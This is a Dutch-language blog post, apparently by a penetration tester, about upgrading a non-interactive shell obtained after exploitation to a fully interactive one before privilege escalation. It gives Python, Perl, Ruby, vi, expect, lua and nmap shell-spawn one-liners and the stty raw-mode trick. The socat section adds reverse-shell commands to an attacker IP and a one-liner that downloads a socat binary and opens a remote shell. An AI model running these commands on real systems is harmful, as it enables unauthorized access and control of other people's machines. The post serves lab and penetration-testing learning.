Upgrading Non-Interactive Shell
Wanneer je als security researcher aan de slag gaat is het altijd een fantastisch moment wanneer je toegang krijgt tot een systeem. Dat moment dat je je voet tussen de deur kunt zetten en een kijkje krijgt in de keuken van “de tegenpartij”. Wanneer je een foothold hebt dan heb je namelijk een gevonden vulnerability kunnen misbruiken. Feit is alleen de kroonjuwelen niet in de hal liggen en dus wil je meer dan je “foothold”. Je wilt naar binnen en je wilt in de nachtkastjes en onder het bed zoeken. De foothold is namelijk meestal als een “low privileged” user (of service). We willen “privilege escalatie” toepassen waardoor we meer rechten op de machine verkrijgen. Aangezien de foothold ook meestal toegang geeft tot een zogenaamde “non-interactive shell” is de eerste stap voor privilege escalation meestal het verkrijgen van een “interactive shell”. Wat dit exact betekend en welke methodes hiervoor gebruikt kunnen worden lees je in deze post.
Om het verschil tussen een interactieve en een niet interactieve shell uit te leggen is het goed om eerst het begrip “tty” toe te lichten. TTY staat voor “TeleTYpewriter” en is een oud begrip dat verder terug dateert dan Linux. Binnen Linux is “tty” echter een commando waarmee de naam getoond/geprint wordt van de terminal welke verbonden is met de “standard input” en staat tty voor “TeleTYpe terminals”. Met het tty commando wordt vaak gekeken om te controleren of het medium waarop de uitvoer plaatsvind een terminal is. Het kan voorkomen dat “not a tty” wordt afgedrukt naar “stout”. In dat geval zal de opdracht afgesloten worden met “exit status 1”. Dit komt voor bij uitvoering op de achtergrond zoals bij een script. Ook kan “tty” in “silent mode” worden uitgevoerd waarbij er ook geen output getoond wordt maar er wel wordt afgesloten met een valide exit status code. Zie het als volgt. In Linux is alles een file, ook een terminal. Het “tty” commando toont de naam van het bestand van de terminal:
Een ander TTY commando is “stty”. stty is een tool welke wordt gebruikt om de invoer- en uitvoerinstellingen voor de communicatie-interface van de terminal in te stellen of uit te lezen. Later in dit artikel kun je lezen hoe we stty gebruiken voor een magische upgrade naar een interactive-shell.
Wanneer je een interactieve shell hebt communiceer je met de shell alsof je achter het toetsenbord en de muis zit. Zowel je standaard input device alsmede de stdout en error streams zijn verbonden met je shell. Een interactieve shell leest commando’s van gebruikersinvoer op een tty terminal. De shell leest onder andere opstartbestanden bij activering, geeft een prompt weer en schakelt standaard taakbeheer in. Wanneer je een interactieve shell hebt kan de computer je vragen om gebruikersinput en deze kun je vervolgens opgeven door deze te typen.
Non-Interactieve shells worden meestal uitgevoerd vanuit een geautomatiseerd proces (scripts / services) en dus kan de computer er niet van uitgaan dat de gebruiker in de gelegenheid is om input te genereren (keyboard input) of dat iemand de uitvoer zal zien. Andere termen voor een non-interactive shell zijn ook wel “Simple Shell” of “Dump Shell”.
Wanneer we als security researcher dus een foothold krijgen en we doen dit door b.v. een service te misbruiken dan krijgen we de shell in de context van deze service. Dit zal dus meestal een non-interactive shell zijn. Het nadeel van deze non-interactive shells is dat veel zaken hier niet werken, zaken die ons weerhouden om privilege escalation toe te passen. Omdat een non-interactive shell niet verbonden is met een tty en dus geen input verwacht zal de reverse shell al afsluiten wanneer we op CTRL+C drukken en zal deze crashen als een commando hangt of om gebruikers input vraagt. Een paar van de zaken die dus niet werken in een non-interactive shell zijn:
- Uitvoeren van het “su” en “ssh” commando’s (er wordt input gevraagd)
- Geen toegang tot STDERR (error output)
- Geen interactieve tools zoals text editors (vim)
- Geen auto tab-completion
- Geen job control
- Geen history browsing (met de pijltjestoetsen)
Gelukkig is het mogelijk (afhankelijk van het scenario) om meestal een non-interactive shell te upgraden naar een interactive shell. Een aantal van deze methodes ga ik in deze post doorlopen.
Roep een interactieve shell aan
De aller makkelijkste methode is om te proberen om een interactieve shell te starten. Vaak zal dit niet lukken maar als het wel lukt dan heb je op een makkelijke manier een interactieve shell onder de knoppen. Voor SH en Bash gebruik je de “-i” flag ofwel de “interactive” flag:
/bin/bash -i OF /bin/sh -i |
Je zou ook een interactieve shell aan kunnen roepen met “echo”:
echo 'os.system('/bin/bash')' |
Python
Wanneer Python geïnstalleerd is dan heb je geluk. Je kunt dan Python gebruiken om te upgraden naar een interactive shell. Python zorgt ervoor dat je een pseudo-terminal krijgt waardoor commando’s “denken” dat ze uitgevoerd worden vanuit een interactieve terminal. Helaas heeft de pseude-terminal nog wel war nadelen. Zo heb je nog steeds geen toegang tot de STDERR stream, is er geen history browsing, geen tab completion en zal de terminal nog steeds sluiten met CTRL+C maar deze oplossing is wel afdoende voor de meeste privilege escalation taken. Met Python spawnen we de pseudo-terminal als volgt:
python -c 'import pty; pty.spawn("/bin/bash")' |
Wanneer Python3 geïnstalleerd is (naast Python2) kun je uiteraard ook het volgende commando gebruiken:
python3 -c 'import pty; pty.spawn("/bin/bash")' |
NetCat
Op het moment dat je een non-interactive shell met NetCat hebt gemaakt en Python is aanwezig dan kun je deze met een kleine “Bash” truc omtoveren tot een interactive-shell. Om deze truc te laten werken gebruiken we een aantal stty opties.
1. Zorg ervoor dat je een pseudo-Bash shell krijgt met Python (zie hierboven).
2. Nu gaan we middels te toetsencombinatie CTRL+Z deze pseudo-shell “backgrounden” (op de achtergrond zetten).
3. Nu deze shell op de achtergrond staat gaan we de TTY instellingen bekijken van onze eigen shell. Als we deze weten kunnen we laten de settings van onze shell hieraan laten matchen voor de beste ervaring.
echo $TERM stty -a |
Het “echo $TERM” commando retourneert het terminal type van de huidige terminal en het “stty -a” commando retourneert alle instellingen van de terminal communicatie interface. Noteer hiervan de waardes van “rows” (hoogte) en “columns” (breedte).
4. Nu gaan we “raw typing” instellen en zorgen we ervoor dat de ingevoerde karakters niet verwerkt en geretourneerd worden maar meteen doorgevoerd worden. Let op, wanneer je “raw typing” aanzet zie je niet meer wat je typt (doordat echo disabled is). Je commando’s worden echter wel doorgevoerd.
stty raw -echo |
5. Nu gaan we de shell weer activeren en op de voorgrond zetten. Op dit punt zal de formatting er raar uitzien:
fg |
6. De formatting gaan we corrigeren met het “reset” commando. Dit commando wordt uitgevoerd in de shell.
reset |
7. Om ervoor te zorgen dat het format netjes blijft moeten we de shell de waardes opgeven zoals onze eigen terminal deze ook gebruikt. Dit zijn de waardes die we zojuist genoteerd hebben vanuit het “echo $TERM” en het “stty -a” commando:
export SHELL=bash export TERM=xterm256-color stty rows 30 columns 236 |
Alle commando’s die nu uitgevoerd worden in onze terminal worden doorgevoerd naar de shell waardoor we een volledig interactieve shell krijgen. Dus resume:
CTRL+Z echo $TERM stty -a stty raw -echo fg reset export SHELL=%%% export TERM=%%% stty rows %%% columns %%% |
Expect Language
In zeldzame gevallen kom je nog weleens de “expect language” tegen. Expect scripts eindigen op de “*.exp” extensie. Wanneer je dus een script kunt maken en uitvoeren met onderstaande content kun je er op relatief makkelijke manier voor zorgen dat je net als bij Python een pseudo-terminal krijgt en dus feitelijk een halve interactive shell realiseert:
spawn sh
interact |
Wanneer je bovenstaande simpele script opslaat als “intshell.exp” dan kun je deze uitvoeren met “expect intshell.exp”.
SoCat
SoCat is een soort “NetCat” maar dan met meer functies. SoCat wordt ook wel gezien als het Zwitserse zakmes op het gebied van networking. Met SoCat kunnen fully interactive shells (TTY’s) over een TCP verbinding gemaakt worden. Het is hiervoor wel noodzakelijk dat SoCat op je eigen computer geïnstalleerd is (om een SoCat listener te starten) en op die van “het slachtoffer”. Op je eigen Kali machine start je als volgt een SoCat listener op poort 8888:
socat file:'tty',raw,echo=0 tcp-listen:8888 |
Vervolgens voer je op de doelcomputer het volgende SoCat commando uit om een interactive shell te krijgen (we sturen alle signalen over de verbinding naar de listener):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.14:8888 |
Wanneer de doelcomputer niet beschikt over SoCat kun je standalone (Docker & Custom-Build) binaries vinden op de volgende GitHub: https://github.com/andrew-d/static-binaries/tree/master/socat. Je kunt ook meteen SoCat uitvoeren vanuit deze repository:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.14:8888 |
Perl
Net als met Python is het ook mogelijk om via Perl een pseudo terminal te starten wat meestal afdoende is. Ik noem dit voor het gemak maar even de “half-interactive-shell”. Wanneer we Perl op het systeem vinden en een Bash of SH tty willen starten dan voeren we het volgende uit:
perl -e 'exec "/bin/sh";' OF v.a. de Perl interpreter: exec "/bin/sh"; OF perl -e 'exec "/bin/bash";' |
Ruby
Wanneer je geen Python en ook geen Perl tegenkomt op het systeem heb je misschien wel Ruby. En ook met Ruby kunnen we een pseudo terminal aanroepen en dat gebeurt op een soort gelijke manier zoals dat ook in Perl gebeurt. Namelijk:
ruby -e 'exec "/bin/sh";' OF v.a. de Ruby interpreter: exec "/bin/sh" |
VI
Vanuit VI (VIM) kunnen OS commando’s aangeroepen worden. Dit is vaak handig wanneer je toegang hebt tot een restricted shell (RBash) waarin VI meer opties heeft dan jij als gebruiker. Om een half-interactive shell te starten gebruik je b.v. het commando (startend met de dubbele punt):
:!bash OF :set shell=/bin/bash:shell OF als ook Python op het systeem aanwezig is: :python import pty;pty.spawn("/bin/bash") |
Overige
Wanneer LUA scripting aanwezig is zou onderstaande methode een oplossing kunnen zijn:
lua: os.execute('/bin/sh') |
En ook NMap kan je een interactieve shell geven:
!sh |
Conclusie
Wanneer je een foothold krijgt op een machine is het vrijwel altijd zinvol (en meestal noodzakelijk) om een goede interactieve shell te verkrijgen. Alleen een interactieve shell helpt je met het escaleren van privileges (volgende post) en zorgt voor gemak (tab completion) en stabiliteit. Bovenstaande methodes zijn de methodes die ik tot nu toe gebruikt heb. Hoewel dit een goede lijst is zijn er nog andere methodes om een stabiele interactieve shell te spawnen. Deze zijn vaak erg afhankelijk van de omgeving en de tools die geïnstalleerd zijn. Wanneer bovenstaande niet mocht werken probeer je gewoon nieuwe methodes te vinden. “There is always a way for the one who is not afraid to search…”